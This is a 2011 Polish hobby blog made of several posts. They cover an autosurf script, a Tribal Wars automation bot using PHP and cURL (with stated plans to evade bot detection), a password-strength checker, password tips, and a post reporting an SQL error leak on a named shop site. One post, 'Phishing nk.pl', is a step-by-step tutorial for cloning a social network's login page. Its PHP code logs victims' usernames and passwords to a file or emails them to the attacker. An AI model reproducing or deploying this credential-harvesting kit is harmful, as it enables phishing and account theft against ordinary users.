środa, 20 kwietnia 2011

Skrypt autosurfa

Automatyczne wyświetlanie stron w iframe.


Jak pisałem w ostatniej notce - obecnie pracuje nad projektem autosurfa. Dziś przedstawię wam skrypt, który wykorzystam na mojej stronie. Będzie PHP, MySql i troszkę JS i HTML. Zobaczcie...



Krótki opis:
Pierwsza część to JavaScript, służy do odliczania czasu oraz odświeżenia strony po upływie tego czasu.
Druga część (PHP) - sprawdza czy użytkownik jest zalogowany i pobiera potrzebne dane z bazy danych, oraz uaktualnia rekordy.
Kolejna to HTML, wyświetla dwie ramki: jedna z odliczaniem czasu, druga wyświetla stronę.
Na końcu są aktualizowane rekordy.

Wiem, że możecie się nie sczaić o co chodzi w tym skrypcie, bo nie opisałem go dokładnie i jest chaotyczny. Jeśli ktoś ma jakieś pytania - po to są komentarze.


Btw. za niedługo startuje mój "autosurf" :D






Czytaj dalej...

środa, 23 marca 2011

Bot do plemion cz.2

Kontynuacja mojego, pro, elo bota do plemion.


Po pierwsze przeczytaj pierwszą część - znajdziesz ją tutaj.

Przede wszystkim chciałem tutaj napisać, że testuję bota pełną parą. W tym celu zakupiłem nawet płatny hosting! Czemu płatny? Ponieważ na darmowych nie ma włączonej funkcji Curl oraz Cron, które wykorzystuje napisany skrypt. Co prawda szkoda mi trochę tych 5 zł (miesięcznie, pełna oferta na mzhost.pl), ale myślę, że przyda mi się jeszcze ten hosting do czegoś innego. Strona z botem ma adres akcza.mzhost.pl - jeśli ktoś chce zobaczyć skrypt w akcji to serdecznie zapraszam :)

Skrypt uległ drobnym zmianom, mianowicie:
- dodałem logi - do pliku tekstowego są zapisywane: czas wykonania skryptu, ilość surowców, ilość budynków w kolejce oraz ilość wybudowanych przez bota budynków - przykład: log.txt
- sprawdzenie czy zlecenie budowania się udało - skrypt weryfikuje swoją pracę
- inne mniejsze błędy zostały usunięte.

Oczywiście podaje kodzik:

Możecie sobie porównać stary kod z nowym.

Co zamierzam poprawić/dodać?
- zmniejszyć wykrywalność bota (teraz praktycznie nie ma żadnych zabezpieczeń)
- dodać możliwość budowania wszystkich budynków (nie tylko tartaku, cegielni, huty)
- możliwość automatycznego farmienia (wątpię, by mi się to udało napisać, ale spróbuję :))
- zoptymalizować skrypt.

To tyle, jeśli znajdę trochę wolnego czasu i przede wszystkim chęci to dodam te ww. poprawki.




Czytaj dalej...

środa, 16 marca 2011

Skrypt sprawdzający siłę hasła

Po poprzednim poście "jak stworzyć silne hasło?", postanowiłem napisać skrypt sprawdzający siłę hasła. Napisałem go w PHP przez co można go użyć np. na własnej stronie internetowej.

By móc ocenić hasło pod względem bezpieczeństwa trzeba przyjąć pewne kryteria. Zastosowałem, niektóre z wcześniej wspomnianego posta, mianowicie:
- długość hasła,
- występowanie znaków specjalnych !@#$%,
- występowanie liczb,
- występowanie małych i dużych liter.
Myślę, że te kryteria są wystarczające.

Skrypt przedstawia się następująco: (w komentarzach wyjaśnione kolejne etapy)


Myślę, że kod jest zrozumiały. Jeśli ktoś ma jakieś pytania - komentarz.

Czytaj dalej...

czwartek, 10 marca 2011

Jak stworzyć silne hasło?

Mocne hasło to podstawa.


Przykład tworzenia silnego hasła na podstawie słowa: odjechani

Aby nasze hasło nabrało mocy należy:

1. Łączyć i przeplatać znaki, słowa, stosując przy tym duże i małe litery:
odJecHanI

2. Przeplatać litery wyrazu z cyframi:
o1dje2c86ha2ni6

3. Łączyć ze sobą dwa słowa używając dowolnego symbolu:
lubię^%odjechanych

4. Wpleść w hasło znaki specjalne - !@#$%
od$je^ch#@an$i

5. Tworzyć hasło z błędami:
odejehanji

6. Tworzyć hasło z pierwszych liter jakiegoś zdania:
Stado baranów dowodzone przez lwa jest silniejsze niż stado lwów dowodzone przez barana.
Sbdpljsnsldpb

7. Zastępować litery cyframi - E=3, A=4, T=7...
0dj3ch4an1


Wykorzystując poznane metody możemy stworzyć naprawdę silne hasło:
odjechani - 40D%j3(4Ch@Ni5!
Życzę powodzenia w złamaniu hasła o takiej konstrukcji.

Aby nie dać innym najmniejszej szansy na zdemaskowanie Twojego hasła, proponuję:

· Nie zapisywać hasła w ogólnodostępnych miejscach.
· Nie udostępniać hasła nikomu pod żadnym pozorem.
· Nie tworzyć podobnych haseł do loginu.
· Nie stosować takich samych haseł do wszystkich stron internetowych w których się rejestrujemy.
· Raz na pół roku zmienić stare hasło na nowe.
· Zmienić hasło natychmiast gdy mamy nawet najmniejsze obawy o bezpieczeństwo naszego konta.
· ...

Oczywiście żadne hasło nie da Wam 100% pewności że nikt go nie złamie,
ale życzę powodzenia temu kto potrafi złamać hasło w którym są znaki specjalne.
Należy też dbać o aktualizację zabezpieczeń w swoim systemie operacyjnym 


Źródło

Czytaj dalej...

piątek, 4 marca 2011

Phishing nk.pl

O tym jak stworzyć fejk stronę, która zapisuje nam dane użyte do zalogowania np. na nk.


Pewnie wiele razy natknęliście się na strony, które oferują darmowe profity - np. darmowe premium do gier sieciowych. Jak można zauważyć strony tego typu wymagają "zalogowania" się na stronie. Oczywiście dla osoby, która nie jest obeznana lub po prostu młoda, taka strona nie wzbudza podejrzeń. Strony te są łudząco podobne do oryginału, więc może się wydawać, że logujemy się na tej "prawdziwej".

Powiedzmy, że się podamy swój login i hasło by dostać darmowe konto premium. Po wpisaniu danych na fake stronie zazwyczaj pokazuje się napis typu "Wpisane dane są nieprawidłowe" - guzik prawda. Twoje dane zostały najprawdopodobniej zapisane i czekają na odczyt przez oszusta, który najprawdopodobniej zawłaszczy sobie twoje konto. :)

Postaram w krótki sposób przedstawić jak powstaje fake strona:
1. Po pierwsze obierz stronę, której chcesz stworzyć fake`a. W moim przypadku będzie to nk.pl.
2. Wejdź na stronę i z menu przeglądarki wybierz 'zapisz stronę'.
3. Otwórz zapisaną stronę główną (np.index.html, main.html) za pomocą notatnika.
4. W otworzonym pliku wyszukaj "action" (formularz, przez który dane są przesyłane).
5. Zmień 'action="https://nk.pl" method="POST"' na 'action="post.php" method="POST".
6. Stwórz plik post.php.
7. Wpisz do post.php:
- by dane zapisały się w pliku txt:
$dane = $_POST['login']." ". $_POST['password']."\r\n";
$plik = "nazwa_pliku.txt";
$uchwyt = fopen($plik, a);
flock($uchwyt, 2);
fwrite($uchwyt, $dane);
flock($uchwyt, 3);
fclose($uchwyt);
- by dane zostały wysłane na emaila:
$tresc = $_POST['login']." ".$_POST['password'];
mail('Twójemail', 'Temat',$tresc ,  
'From: nadawca\r\n
Reply-To: adresat\r\n');
8. Zapisz i dodaj coś co spotęguje wiarygodność fake :)

To tyle, mówiłem, że będzie krótko.
Za niedługo opublikuję posta jak nie dać się nabrać na wszelkiego rodzaju phishing.

Czytaj dalej...

wtorek, 22 lutego 2011

Bot do Plemion

cURL + PHP oczywiście :)


Nie znalazłem w sieci żadnych skryptów/programów więc postanowiłem napisać sam. Jestem pod ogromnym zdziwieniem, że znając podstawy PHP i cURLa potrafię napisać prostego bota. Czemu prostego? Bo bot tylko (aż) buduje podane przez nas budynki dostarczające surowców - tartak, cegielnia(?), huta żelaza. Jeśli ktoś chce może go sobie poszerzyć o inne budynki.

Najtrudniejsze było to jak się zalogować do gry. Próbowałem przeglądać przesyłane do i z serwera GETy i POSTy, jednak nie wiele mi to dawało. Rozwiązanie znalazłem na pewnym forum o autoit (to chyba jakiś język "programowania"(?)). Niejaki Sparrow napisał tam:
Założyłem konto na tym forum specjalnie po to, żeby podzielić się z wami tą informacją.
Aby automatycznie zalogować się na konto plemion wystarczy użyć adresu który dostajecie w mailu dotyczącym raportu z wioski czy coś w tym stylu (nie gram w plemiona, robie bota dla znajomego dla zabawy).

us1.tribalwars.us/login.php?user=TWOJA_NAZWA_UZYTKOWNIKA&password=ZAKODOWANE_HASŁO&more_mails&utf-8
Wkleiłem do paska przeglądarki, działa! No to lecimy z logowaniem :)

$url_login = 'http://us1.tribalwars.us/login.php?user=TWOJA_NAZWA_UZYTKOWNIKA&password=ZAKODOWANE_HASŁO&more_mails&utf-8';
$cookie = 'cookie.txt';
$useragent = 'Mozilla/5.0 (X11; U; Linux i686; pl; rv:1.8.0.3) Gecko/20060426 Firefox/1.5.0.3';


$ch = curl_init( $url_login );
curl_setopt( $ch, CURLOPT_COOKIEFILE, $cookie );
curl_setopt( $ch, CURLOPT_COOKIEJAR, $cookie );
curl_setopt( $ch, CURLOPT_COOKIE, $cookie);
curl_setopt( $ch, CURLOPT_USERAGENT, $useragent );
curl_setopt( $ch, CURLOPT_REFERER, 'http://tribalwars.us' );
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt( $ch, CURLOPT_RETURNTRANSFER, 1 );
$page = curl_exec($ch);
curl_close($ch);
if ($page != NULL)
{
echo "Zalogowany<\r\n";
}
else
echo "Blad w logowaniu\r\n";

Spróbujcie, na 100% zadziała :)
To może teraz stan surowców? Czemu nie.. (Tutaj troche nie dopracowałem, bo mi się nie chciało już- gdy spichlerz jest pełny wtedy nie pobiera stanu surowców)

//////////////////////      STAN SUROWCÓW
preg_match_all('/title\=\"[0-9]{0,5}\"\s\>[0-9]{0,5}/', $page, $surowce);

$drewno = explode('>', $surowce[0][0]);
$glina = explode('>', $surowce[0][1]);
$zelazo = explode('>', $surowce[0][2]);

echo 'Stan surowcow: \r\n
- drewno ' . $drewno[1].'\r\n
- glina ' .$glina[1].'\r\n
- zelazo ' .$zelazo[1].'\r\n';

Teraz sprawdzamy czy coś się buduje. Po co? Dla jaj, które będą potrzebne później.
/////////////////////        CZY COS SIE BUDUJE

$ch = curl_init( 'http://us1.tribalwars.us/game.php?village=NUMER_WIOCHY&screen=main' );
curl_setopt( $ch, CURLOPT_COOKIEFILE, $cookie );
curl_setopt( $ch, CURLOPT_COOKIEJAR, $cookie );
curl_setopt( $ch, CURLOPT_COOKIE, $cookie);
curl_setopt( $ch, CURLOPT_USERAGENT, $useragent );
curl_setopt( $ch, CURLOPT_REFERER, 'http://tribalwars.us' );
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt( $ch, CURLOPT_RETURNTRANSFER, 1 );
$page = curl_exec($ch);
curl_close($ch);

preg_match_all('/today at/', $page, $budowanie);
$wbudowie = count($budowanie[0]);
echo 'W budowie '.$wbudowie.' budynkow.\r\n';

Wiemy czy i ile się budynków buduje. Jeśli możemy to zaczynamy budować, nic prostszego.

if ( $wbudowie< 2)
{
require "skrypty.php";
connection();
while ($wbudowie < 2)
{
preg_match_all('/game\.php\?village\=NUMER_WIOCHY\&\;screen\=main\&\;action\=build\&\;h\=[0-9a-z]{0,4}\&\;id\=(wood|stone|iron)/', $page, $linki);
$dodrewna = $linki[0][0];
$dogliny  = $linki[0][1];
$dozelaza = $linki[0][2];
               


$zapytanie = "SELECT `ostatni` FROM `ostatni`";
$wykonaj = mysql_query($zapytanie);
$ostatni = mysql_fetch_row($wykonaj);

$ostatni = $ostatni[0]+1;

$zapytanie = "SELECT `typ` FROM `budowanie` WHERE `id`='$ostatni'";
$wykonaj = mysql_query($zapytanie);
$typ =   mysql_fetch_row($wykonaj);

switch ($typ[0])
       {
        case 1:
        $link = $dodrewna;
        break;
        
        case 2:
        $link = $dogliny;
        break;
        
        case 3:
        $link = $dozelaza;
        break;
       };

$link = 'http://us1.tribalwars.us/'.$link;
$link = str_replace("amp;", "", $link);


$ch = curl_init( $link);
curl_setopt( $ch, CURLOPT_COOKIEFILE, $cookie );
curl_setopt( $ch, CURLOPT_COOKIEJAR, $cookie );
curl_setopt( $ch, CURLOPT_COOKIE, $cookie);
curl_setopt( $ch, CURLOPT_USERAGENT, $useragent );
curl_setopt( $ch, CURLOPT_REFERER, 'http://us1.tribalwars.us/game.php?village=NUMER_WIOCHY&screen=main&mode=build' );
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt( $ch, CURLOPT_RETURNTRANSFER, 1 );
$page = curl_exec($ch);
curl_close($ch);

$zapytanie = "UPDATE `ostatni` SET `ostatni` = '$ostatni'";
$wykonaj = mysql_query($zapytanie);
echo 'Zlecilem budowe :) 
';





$wbudowie=$wbudowie +1;
}
}
W tej części powyżej jest trochę pogmatwane, bo musicie mieć bazę danych(straszne prawda?). Co potrzebujecie: - plik skrypty.php z funckją connection(), która łączy się z bazą - bazę danych :) - 2 tabele ("ostatni" i "budowanie"), ostatni - struktura (int(255), jedyny rekord ustawiamy na 0), budowanie - struktura(id - nadawane automatycznie przez bazę, typ - int(255), 1-dla drewna, 2 dla gliny, 3 dla żelaza) Do tabeli budowanie dodajecie kolejne budynki, które skrypt ma zlecić do budowy. Skrypt ma jeszcze pewny mankament :) Otóż gdy nie ma budynków w kolejce, skrypt "myśli", że może budować i buduję nie zwracając uwagi na surowce, tzn. że nie sprawdza czy surowców jest wystarczająco, a co za tym idzie będzie omijać pewne budowle. Jeśli mi się będzie chciało, w co wątpię, to poprawię. Myślę, że i tak ten skrypt wiele wam pomoże :) Btw. mój blog do tej pory nie jest indeksowany przez google... DOPRACOWANA WERSJA BOTA - TUTAJ

Czytaj dalej...

sobota, 19 lutego 2011

Wskazanie błędu

...i nawet "w dupę mnie cmoknijcie".



"Tego typu podstrony waszego serwisu:
http://www.suplementytiens.pl/page1.php?opcode=SETPAGINATOR&param1=2&param2=109
po dopisaniu ' wyrzucają pewne błędy,a nawet komunikaty o budowie bazy danych np. select * from (tutaj nazwa bazy danych) where id = 109 union select
czy też select * from (tutaj nazwa bazy danych) where haslo = 0 and parent = and widoczne = 1 order by lp, nazwa1 limit 0,6;
Myślę, że zwykły użytkownik nie powinien otrzymać tych informacji... :)

Pozdrawiam,
akcz4 "
Taką wiadomość otrzymał ode mnie właściciel serwisu suplementytiens. Dlaczego? Jakiś tydzień temu zauważyłem błędy na ich stronie - po dopisaniu apostrofa wywalało błędy bazy danych oraz całe zapytania do bazy. Można by rzec, że aż prosiło się o sql injection :) Ale ja jako poprawny(!) użytkownik internetu nie wykorzystałem tego błędu (bo po co?), wręcz przeciwnie - zgłosiłem to wysyłając podany wyżej email.
Rezultat?
Na drugi dzień naprawiono błędy, co mnie bardzo cieszy, że ludzie odpowiedzialni za stronę szybko zareagowali. Nie cieszy mnie natomiast fakt, że mi nikt nie podziękował. Nie mam tutaj na myśli jakiś wychwalań ponad niebiosa, podziękowań na stronie głównej lub też darmowych odżywek (chociaż nie pogardziłbym). Wystarczyłoby odpisanie na emaila - skromne "Dziękujemy za zgłoszenie błędu" czy coś w tym stylu.

Ktoś może odnieś wrażenie, że to wyolbrzymiam. Nieee, po prostu gdy następnym razem znajdę na ich stronie błąd to zastanowię się czy im o tym donieść. Poza tym robię im reklamę na moim super-pro-it-hakier blogu, więc wiszą mi kolejną odżywkę - już drugą :)

Czytaj dalej...